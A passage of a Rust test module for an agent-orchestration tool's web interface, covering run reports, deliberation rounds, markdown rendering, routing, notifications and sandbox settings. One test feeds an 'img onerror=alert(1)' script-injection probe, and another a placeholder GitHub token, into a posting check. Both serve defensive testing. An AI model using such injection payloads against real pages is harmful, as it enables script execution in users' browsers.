20379            "met_quorum": true, "rankings": 1
20380        });
20381        v["deliberation"] = serde_json::json!([
20382            {
20383                "round": 1,
20384                "turns": [
20385                    {
20386                        "judge": 1,
20387                        "agent": "judge-1",
20388                        "body": "I prefer candidate **A** because it has cleaner tests.",
20389                        "tentative": "A"
20390                    }
20391                ]
20392            },
20393            {
20394                "round": 2,
20395                "turns": [
20396                    {
20397                        "judge": 1,
20398                        "agent": "judge-1",
20399                        "body": "Still thinking, no choice yet.",
20400                        "tentative": null
20401                    }
20402                ]
20403            }
20404        ]);
20405        std::fs::write(&path, v.to_string()).unwrap();
20406
20407        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20408        assert_eq!(res.status, 200, "{}", res.body);
20409        let j = res.json();
20410        let judging = j["sections"]
20411            .as_array()
20412            .unwrap()
20413            .iter()
20414            .find(|s| s["kind"] == "judging")
20415            .expect("judging section exists");
20416
20417        // Existing summary lines remain intact
20418        let delib_lines = judging["deliberation"].as_array().unwrap();
20419        assert_eq!(delib_lines.len(), 2);
20420        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20421        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20422
20423        // rounds carry turn bodies, tentative and parsed body_md
20424        let rounds = judging["rounds"].as_array().unwrap();
20425        assert_eq!(rounds.len(), 2);
20426        let r1_t0 = &rounds[0]["turns"][0];
20427        assert_eq!(r1_t0["judge"], 1);
20428        assert_eq!(r1_t0["agent"], "judge-1");
20429        assert_eq!(r1_t0["tentative"], "A");
20430        assert_eq!(
20431            r1_t0["body"],
20432            "I prefer candidate **A** because it has cleaner tests."
20433        );
20434        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20435
20436        let r2_t0 = &rounds[1]["turns"][0];
20437        assert_eq!(r2_t0["judge"], 1);
20438        assert_eq!(r2_t0["agent"], "judge-1");
20439        assert!(r2_t0["tentative"].is_null());
20440        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20441        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20442
20443        // A run with empty deliberation array yields empty rounds
20444        let id_empty = "20260902-140504-nodelib";
20445        write_run(&f.runs(), id_empty, RunStatus::Merged);
20446        let path_empty = f.runs().join(id_empty).join("run.json");
20447        let mut v_empty: serde_json::Value =
20448            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20449        v_empty["judgements"] = serde_json::json!([
20450            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20451        ]);
20452        v_empty["deliberation"] = serde_json::json!([]);
20453        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20454
20455        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20456        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20457        let j_empty = res_empty.json();
20458        let judging_empty = j_empty["sections"]
20459            .as_array()
20460            .unwrap()
20461            .iter()
20462            .find(|s| s["kind"] == "judging")
20463            .expect("judging section exists");
20464        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20465    }
20466
20467    #[tokio::test]
20468    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20469        let f = Fixture::start().await;
20470
20471        let html = f.get("/").await;
20472        let css = f.get("/app.css").await;
20473        let js = f.get("/app.js").await;
20474
20475        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20476        assert!(
20477            html.headers
20478                .contains("content-type: text/html; charset=utf-8")
20479        );
20480        assert!(css.headers.contains("content-type: text/css"));
20481        assert!(js.headers.contains("content-type: text/javascript"));
20482        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20483    }
20484
20485    #[test]
20486    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20487        let body = |name: &str| {
20488            let at = APP_JS
20489                .find(name)
20490                .unwrap_or_else(|| panic!("{name} missing"));
20491            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20492        };
20493        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20494        let note = body("function landRoundNote");
20495        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20496        assert!(note.contains("Land round ${round}"));
20497        let land = body("function renderLand");
20498        let note_at = land
20499            .find("landRoundNote(pr)")
20500            .expect("renderLand uses the note");
20501        assert!(
20502            note_at
20503                < land
20504                    .find("roundRail(pr)")
20505                    .expect("renderLand uses the rail")
20506        );
20507    }
20508
20509    #[test]
20510    fn the_runs_page_redesign_keeps_its_guards() {
20511        let body = |name: &str| {
20512            let at = APP_JS
20513                .find(name)
20514                .unwrap_or_else(|| panic!("{name} missing"));
20515            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20516        };
20517        // A null child must never reach the native append (it prints "null").
20518        let land = body("function renderLand");
20519        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20520        assert!(
20521            !land.contains("box.append("),
20522            "renderLand must use append()"
20523        );
20524        assert!(land.contains("append(box, ["));
20525        // Tabs are hash routes; the run id alone decides a reload.
20526        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20527        assert!(
20528            body("function applyRoute")
20529                .contains("route.name !== state.route.name || route.id !== state.route.id")
20530        );
20531        // The decorative diagram is gone, the strip and its guards stay.
20532        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20533        assert!(!INDEX_HTML.contains("advise-converge"));
20534        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20535        assert!(APP_JS.contains("provisional"));
20536        for id in [
20537            "run-tab-overview",
20538            "run-tab-timeline",
20539            "run-tab-report",
20540            "run-report",
20541            "runs-scope",
20542        ] {
20543            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20544        }
20545        assert!(!INDEX_HTML.contains("runs-tree"));
20546        assert!(!INDEX_HTML.contains("run-raw-panel"));
20547        // Fold still says it cannot be resumed.
20548        assert!(APP_JS.contains("resume"));
20549        // The unreadable-runs count stays on the page.
20550        assert!(APP_JS.contains("unreadable"));
20551    }
20552
20553    #[test]
20554    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20555        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20556        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20557        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20558        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20559        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20560        // The subtitle still counts them whatever the banner does.
20561        assert!(APP_JS.contains("unreadable` : null"));
20562    }
20563
20564    #[test]
20565    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20566        let mut state = RunState::new(
20567            "/repo".into(),
20568            "main".into(),
20569            "abc".into(),
20570            "task".into(),
20571            crate::config::Config::default(),
20572        );
20573        state.status = RunStatus::Blocked;
20574        state.gate_ran = true;
20575        state.gate.push(crate::run::CommandOutcome {
20576            command: "cargo make check".into(),
20577            code: Some(1),
20578            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20579            duration_ms: 0,
20580            resource_blocked: false,
20581        });
20582        let view = RunDetailView::of(
20583            state,
20584            false,
20585            crate::run::Liveness::Unknown,
20586            None,
20587            None,
20588            None,
20589        );
20590        let value = serde_json::to_value(view).unwrap();
20591        assert_eq!(
20592            value["stop_reason"],
20593            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20594        );
20595    }
20596
20597    #[test]
20598    fn the_run_detail_payload_says_whether_the_run_is_done() {
20599        // `landView` reads `run.done`; the detail response must carry it.
20600        for (status, done) in [
20601            (RunStatus::Superseded, true),
20602            (RunStatus::Blocked, true),
20603            (RunStatus::Landing, false),
20604        ] {
20605            let mut state = RunState::new(
20606                std::path::PathBuf::from("/repo"),
20607                "main".to_owned(),
20608                "abc".to_owned(),
20609                "x".to_owned(),
20610                crate::config::Config::default(),
20611            );
20612            state.status = status;
20613            let v = serde_json::to_value(RunDetailView::of(
20614                state,
20615                false,
20616                crate::run::Liveness::Unknown,
20617                None,
20618                None,
20619                None,
20620            ))
20621            .unwrap();
20622            assert_eq!(v["done"], done, "{status:?}");
20623        }
20624    }
20625
20626    /// The first node of a markdown block holds a `strong` somewhere.
20627    fn has_strong(nodes: &[md::Node]) -> bool {
20628        serde_json::to_string(nodes).unwrap().contains("strong")
20629    }
20630
20631    #[test]
20632    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20633        let mut state = RunState::new(
20634            std::path::PathBuf::from("/repo"),
20635            "main".to_owned(),
20636            "abc".to_owned(),
20637            "x".to_owned(),
20638            crate::config::Config::default(),
20639        );
20640        let proposal = |approach: &str| {
20641            serde_json::json!({
20642                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20643            })
20644        };
20645        state.advice = Some(
20646            serde_json::from_value(serde_json::json!({
20647                "records": [
20648                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20649                     "proposal": proposal("do **this**")},
20650                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20651                ],
20652                "synthesis": "- one\n- **two**\n\n`code`",
20653            }))
20654            .unwrap(),
20655        );
20656        state.candidates = serde_json::from_value(serde_json::json!([
20657            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20658             "summary": "did **it**"},
20659            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20660        ]))
20661        .unwrap();
20662        // Recorded in ascending severity, the reverse of how the page sorts
20663        // them: the arrays must follow the record, not the display.
20664        state.reviews = serde_json::from_value(serde_json::json!([{
20665            "round": 1, "head": "h",
20666            "reviews": [{
20667                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20668                "findings": [
20669                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20670                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20671                ],
20672            }],
20673            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20674            "fix": {"agent": "a", "notes": "fixed **it**",
20675                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20676        }, {"round": 2, "head": "h2", "reviews": []}]))
20677        .unwrap();
20678
20679        let v = serde_json::to_value(RunDetailView::of(
20680            state,
20681            false,
20682            crate::run::Liveness::Unknown,
20683            None,
20684            None,
20685            None,
20686        ))
20687        .unwrap();
20688
20689        let strong = |p: &str| {
20690            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20691            assert!(n.to_string().contains("strong"), "{p}: {n}");
20692        };
20693        strong("/advice_md/synthesis");
20694        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20695        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20696        strong("/advice_md/approaches/0");
20697        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20698        strong("/candidate_summaries_md/0");
20699        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20700        strong("/reviews_md/0/reviewers/0/summary");
20701        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20702        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20703        assert!(f[1].to_string().contains("strong"));
20704        strong("/reviews_md/0/reconsideration/0");
20705        strong("/reviews_md/0/fix/notes");
20706        strong("/reviews_md/0/fix/rejected/0");
20707        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20708        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20709        // The raw strings stay, and no schema moved.
20710        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20711        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20712    }
20713
20714    #[test]
20715    fn a_run_without_advice_has_no_advice_md() {
20716        let state = RunState::new(
20717            std::path::PathBuf::from("/repo"),
20718            "main".to_owned(),
20719            "abc".to_owned(),
20720            "x".to_owned(),
20721            crate::config::Config::default(),
20722        );
20723        let p = run_prose_md(&state);
20724        assert!(p.advice_md.is_none());
20725        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20726    }
20727
20728    #[test]
20729    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20730        let store = ask::Questions::at(PathBuf::from("unused"));
20731        let gt = crate::github_text::Withheld {
20732            title: false,
20733            body: true,
20734            categories: vec!["sensitive-data".into()],
20735        };
20736        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20737        let (detail, comparison) =
20738            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20739        let mut q = Question::new(
20740            "r".into(),
20741            "github-text".into(),
20742            "posting-gate".into(),
20743            "s".into(),
20744            detail,
20745            Vec::new(),
20746        );
20747        assert!(
20748            QuestionView::of(q.clone(), &store, None)
20749                .posting_view
20750                .is_none()
20751        );
20752        q.posting_comparison = Some(comparison);
20753        let view = QuestionView::of(q.clone(), &store, None);
20754        let field = &view.posting_view.unwrap().fields[0];
20755        assert_eq!(
20756            field
20757                .original
20758                .iter()
20759                .map(|f| f.text.as_str())
20760                .collect::<String>(),
20761            body
20762        );
20763        assert!(field.original[0].text.starts_with("<img"));
20764        let original_question: Question =
20765            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20766        assert_eq!(original_question, q);
20767        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20768            .original
20769            .start = 1;
20770        assert!(
20771            QuestionView::of(q.clone(), &store, None)
20772                .posting_view
20773                .is_none()
20774        );
20775        q.posting_comparison = original_question.posting_comparison;
20776        q.detail.push_str("extra context");
20777        assert!(
20778            QuestionView::of(q.clone(), &store, None)
20779                .posting_view
20780                .is_some()
20781        );
20782        q.detail.insert(0, 'x');
20783        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20784    }
20785
20786    #[test]
20787    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20788        let store = ask::Questions::at(PathBuf::from("unused"));
20789        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20790        let gt = crate::github_text::Withheld::from_check(
20791            &crate::github_text::check("fix: x", body),
20792            "fix: x",
20793            body,
20794        )
20795        .unwrap();
20796        let (detail, comparison) =
20797            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20798        let mut q = Question::new(
20799            "r".into(),
20800            "github-text".into(),
20801            "posting-gate".into(),
20802            "s".into(),
20803            detail,
20804            Vec::new(),
20805        );
20806        q.posting_comparison = Some(comparison);
20807        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20808        let field = &value["posting_view"]["fields"][0];
20809        let group = &field["replacement_group"];
20810        let triggers = group["triggers"].as_array().unwrap();
20811        assert_eq!(triggers.len(), 2);
20812        assert_ne!(triggers[0], triggers[1]);
20813        for id in triggers {
20814            assert!(
20815                field["original"]
20816                    .as_array()
20817                    .unwrap()
20818                    .iter()
20819                    .any(|f| &f["pair"] == id)
20820            );
20821            assert!(
20822                !field["changed"]
20823                    .as_array()
20824                    .unwrap()
20825                    .iter()
20826                    .any(|f| &f["pair"] == id)
20827            );
20828        }
20829        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20830            group["id"].as_u64().unwrap() as usize;
20831        assert!(
20832            QuestionView::of(q, &store, None).posting_view.is_none(),
20833            "group and trigger IDs cannot collide"
20834        );
20835    }
20836
20837    #[test]
20838    fn a_question_view_carries_markdown_for_each_thread_turn() {
20839        let home = TempDir::new().unwrap();
20840        let store = ask::Questions::at(home.path().join("questions"));
20841        let mut q = Question::new(
20842            "run".to_owned(),
20843            "implement".to_owned(),
20844            "impl-A".to_owned(),
20845            "which?".to_owned(),
20846            String::new(),
20847            Vec::new(),
20848        );
20849        q.say("plain words").unwrap();
20850        q.reply("use **this**", Vec::new()).unwrap();
20851        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20852        let bodies = &v["thread_bodies_md"];
20853        assert_eq!(bodies.as_array().unwrap().len(), 2);
20854        assert!(!bodies[0].to_string().contains("strong"));
20855        assert!(bodies[1].to_string().contains("strong"));
20856    }
20857
20858    #[test]
20859    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20860        let home = TempDir::new().unwrap();
20861        let store = ask::Questions::at(home.path().join("questions"));
20862        let mut q = Question::new(
20863            "run".to_owned(),
20864            "conduct".to_owned(),
20865            "conduct".to_owned(),
20866            "which?".to_owned(),
20867            String::new(),
20868            Vec::new(),
20869        );
20870        q.say("plain words").unwrap();
20871        q.thread.push(ask::Turn {
20872            who: ask::Who::Agent,
20873            body: "Settled as `merge`".to_owned(),
20874            at: jiff::Timestamp::now(),
20875            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20876        });
20877        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20878        let notes = &v["thread_notes_md"];
20879        assert_eq!(notes.as_array().unwrap().len(), 2);
20880        assert!(notes[0].is_null());
20881        let text = notes[1].to_string();
20882        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20883        assert!(APP_JS.contains("ask-turn-note"));
20884    }
20885
20886    #[test]
20887    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20888        // The land panel defers to `run.status` for merged, and labels a
20889        // recorded-open PR on any finished run (superseded, blocked, ...) as
20890        // last seen, never as live state.
20891        assert!(APP_JS.contains("function landView(run, raw) {"));
20892        assert!(
20893            APP_JS.contains(
20894                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20895            )
20896        );
20897        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20898        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20899        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20900        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20901    }
20902
20903    #[test]
20904    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20905        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20906        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20907        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20908        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20909    }
20910
20911    #[test]
20912    fn review_rounds_label_a_distinct_verified_head() {
20913        assert!(APP_JS.contains("round.verified_head"));
20914        assert!(APP_JS.contains("verified HEAD"));
20915        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20916    }
20917
20918    #[test]
20919    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20920        // A blocked task's chip and note must not fall back to a queued-like
20921        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20922        // itself by e11fc58 but never checked here.
20923        assert!(APP_JS.contains("blocked: { glyph:"));
20924        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20925
20926        // `blocked_by` mixes task ids and question ids in the same list, and
20927        // the client can only tell them apart by checking each id against
20928        // what it actually knows - never by guessing from the id's shape.
20929        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20930        assert!(
20931            APP_JS.contains(
20932                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20933            ),
20934            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20935        );
20936        // The classification must key off `status_str`, never off `blocked_by`
20937        // or `block_reason` merely being present - both can survive briefly
20938        // on a task a hold or a dead daemon just moved off `blocked`.
20939        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20940
20941        // A question a task is blocked on gets its own node in the same
20942        // dependency graph, not just a task-shaped node with nothing known
20943        // about it.
20944        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20945        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20946        assert!(
20947            APP_JS.contains("location.hash = \"#/questions\";"),
20948            "a question node must jump to the Questions screen, not pretend to be a task"
20949        );
20950
20951        // `Task::answers` - decisions already made - are shown as a record on
20952        // the card, the same disclosure style as the full instruction.
20953        assert!(APP_JS.contains("Resolved questions"));
20954        assert!(APP_JS.contains("r.answersList.append("));
20955        assert!(APP_CSS.contains(".task-answers"));
20956        {
20957            let start = APP_JS
20958                .find("function updateTalkTaskRow")
20959                .expect("updateTalkTaskRow");
20960            let body = &APP_JS[start..];
20961            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20962            assert!(
20963                body.contains(
20964                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20965                ),
20966                "a chat-filed task row must link to the task page"
20967            );
20968            assert!(
20969                !body.contains("#/runs/") && !body.contains("#/queue/"),
20970                "the row must not branch to a run or the queue card"
20971            );
20972            assert!(APP_CSS.contains(".talk-task-link"));
20973        }
20974    }
20975
20976    #[test]
20977    fn a_task_notification_links_to_the_task_page() {
20978        // A task notice opens the task detail page, not the Backlog card.
20979        let start = APP_JS
20980            .find("function noticeLink(")
20981            .expect("noticeLink exists");
20982        let body = &APP_JS[start..];
20983        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20984        assert!(
20985            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20986            "a task notice's link must target the task page"
20987        );
20988        assert!(
20989            !body.contains("#/queue/"),
20990            "regression: the task link must not go back to the Backlog route"
20991        );
20992        assert!(
20993            APP_JS.contains(
20994                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20995            ),
20996            "`#/tasks/<id>` must parse into the task route"
20997        );
20998
20999        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21000        assert!(
21001            APP_JS.contains(
21002                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21003            ),
21004            "`#/queue/<id>` must parse into a route carrying that id"
21005        );
21006
21007        // And the Backlog view has to actually land on the card once it can
21008        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21009        // so a focus set before the queue has loaded is retried once it has.
21010        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21011        assert!(APP_JS.contains("function consumeQueueFocus()"));
21012        assert!(APP_JS.contains("jumpToTask(id)"));
21013    }
21014
21015    #[test]
21016    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21017        let start = APP_JS
21018            .find("function noticeCoveredBy(")
21019            .expect("noticeCoveredBy exists");
21020        let body = &APP_JS[start..];
21021        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21022
21023        // Historical associations are informational, even for open questions.
21024        assert!(body.contains("Associated question ${short}"));
21025        assert!(!body.contains("el(\"a\""));
21026
21027        // A resolved question displays status rather than an actionable link
21028        assert!(body.contains("(resolved)"));
21029        assert!(body.contains("(closed)"));
21030
21031        let start = APP_JS
21032            .find("function renderNotifications()")
21033            .expect("renderNotifications exists");
21034        let body = &APP_JS[start..];
21035        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21036
21037        // Only a server-resolved answerable question supplies a response link.
21038        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21039        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21040        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21041        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21042    }
21043
21044    /// Chat rows are two lines at every width: the title alone, then the
21045    /// shrinkable secondary info.
21046    #[test]
21047    fn chat_rows_put_the_title_alone_on_the_first_line() {
21048        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21049        assert!(APP_CSS.contains(
21050            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21051        ));
21052        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21053        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21054    }
21055
21056    #[test]
21057    fn run_rows_put_the_title_alone_on_the_first_line() {
21058        assert!(
21059            APP_CSS.contains(
21060                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21061            )
21062        );
21063        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21064        assert!(APP_JS.contains("class: \"card run-card\""));
21065        assert!(APP_JS.contains("class: \"repo run-id\""));
21066    }
21067
21068    /// Wide screens get a master/detail layout built from the views a phone
21069    /// drills into. These are string assertions: they pin the contract between
21070    /// the three assets, not how it looks.
21071    #[test]
21072    fn wide_screens_show_list_and_preview_side_by_side() {
21073        // One breakpoint, spelled the same in the script and the stylesheet.
21074        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21075        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21076        assert!(APP_CSS.contains("main[data-split]"));
21077        assert!(APP_CSS.contains("body[data-split]"));
21078
21079        // The route -> panes table, and a narrow screen opting out of it.
21080        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21081        assert!(
21082            APP_JS.contains(
21083                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21084            )
21085        );
21086        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21087        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21088        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21089
21090        // Selection is derived from the route, and only ever paints a row.
21091        assert!(APP_JS.contains("function markSelected() {"));
21092        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21093        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21094        // The dense row must override the stacked card the 720px block sets up.
21095        assert!(
21096            APP_CSS.contains(
21097                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21098            )
21099        );
21100
21101        // Independent scrolling: the page stops scrolling, each pane does.
21102        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21103        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21104        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21105        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21106
21107        // A refresh must never navigate: the loaders still check that their
21108        // subject is the one on screen, and crossing the breakpoint only
21109        // re-reads the hash.
21110        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21111        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21112        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21113        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21114
21115        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21116        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21117    }
21118
21119    #[test]
21120    fn panel_sandbox_carries_exactly_popups() {
21121        let needle = "sandbox: \"";
21122        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21123        assert_eq!(
21124            matches.len(),
21125            1,
21126            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21127        );
21128        let start = matches[0].0 + needle.len();
21129        let end = APP_JS[start..]
21130            .find('"')
21131            .expect("sandbox attribute value must be terminated by a closing quote");
21132        let val = &APP_JS[start..start + end];
21133        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21134        let expected: std::collections::BTreeSet<&str> =
21135            ["allow-popups", "allow-popups-to-escape-sandbox"]
21136                .into_iter()
21137                .collect();
21138        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21139        assert!(
21140            !tokens.contains("allow-scripts"),
21141            "allow-scripts must never be present in sandbox"
21142        );
21143        assert!(
21144            !tokens.contains("allow-same-origin"),
21145            "allow-same-origin must never be present in sandbox"
21146        );
21147    }
21148
21149    #[test]
21150    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21151        // consumeQueueFocus() clears an active Backlog search before it can
21152        // scroll to the target card (the sections list is hidden while a
21153        // search is showing), by recursing back into renderQueue(). The
21154        // fixer's first cut nulled state.queueFocus before that recursive
21155        // call, so the second pass saw nothing to jump to and the jump was
21156        // silently dropped whenever a notification's link was opened with a
21157        // stale search still active. state.queueFocus must only be cleared
21158        // right before jumpToTask() actually runs.
21159        assert!(
21160            APP_JS.contains(
21161                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21162            ),
21163            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21164             recursive renderQueue() call has nothing left to jump to"
21165        );
21166        assert!(
21167            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21168            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21169             arrives later still gets it"
21170        );
21171        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21172        assert!(APP_JS.contains("is not in the current Backlog."));
21173        assert!(APP_JS.contains("li.card[data-task-id=\""));
21174        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21175        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21176        assert!(APP_CSS.contains(".card-permalink"));
21177        assert!(APP_CSS.contains(".queue-focus-status"));
21178        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21179    }
21180
21181    #[test]
21182    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21183        // The task's own repro: only the link text inside .notice-meta was
21184        // clickable, so a tap on the message, the timestamp, or the card's
21185        // padding did nothing - on a phone that reads as "the card doesn't
21186        // work" even though the tiny link inside it did. Mark read / Dismiss
21187        // must keep working independently of this: `.closest("a, button")`
21188        // is what lets a tap that actually lands on those elements fall
21189        // through instead of being hijacked into a navigation.
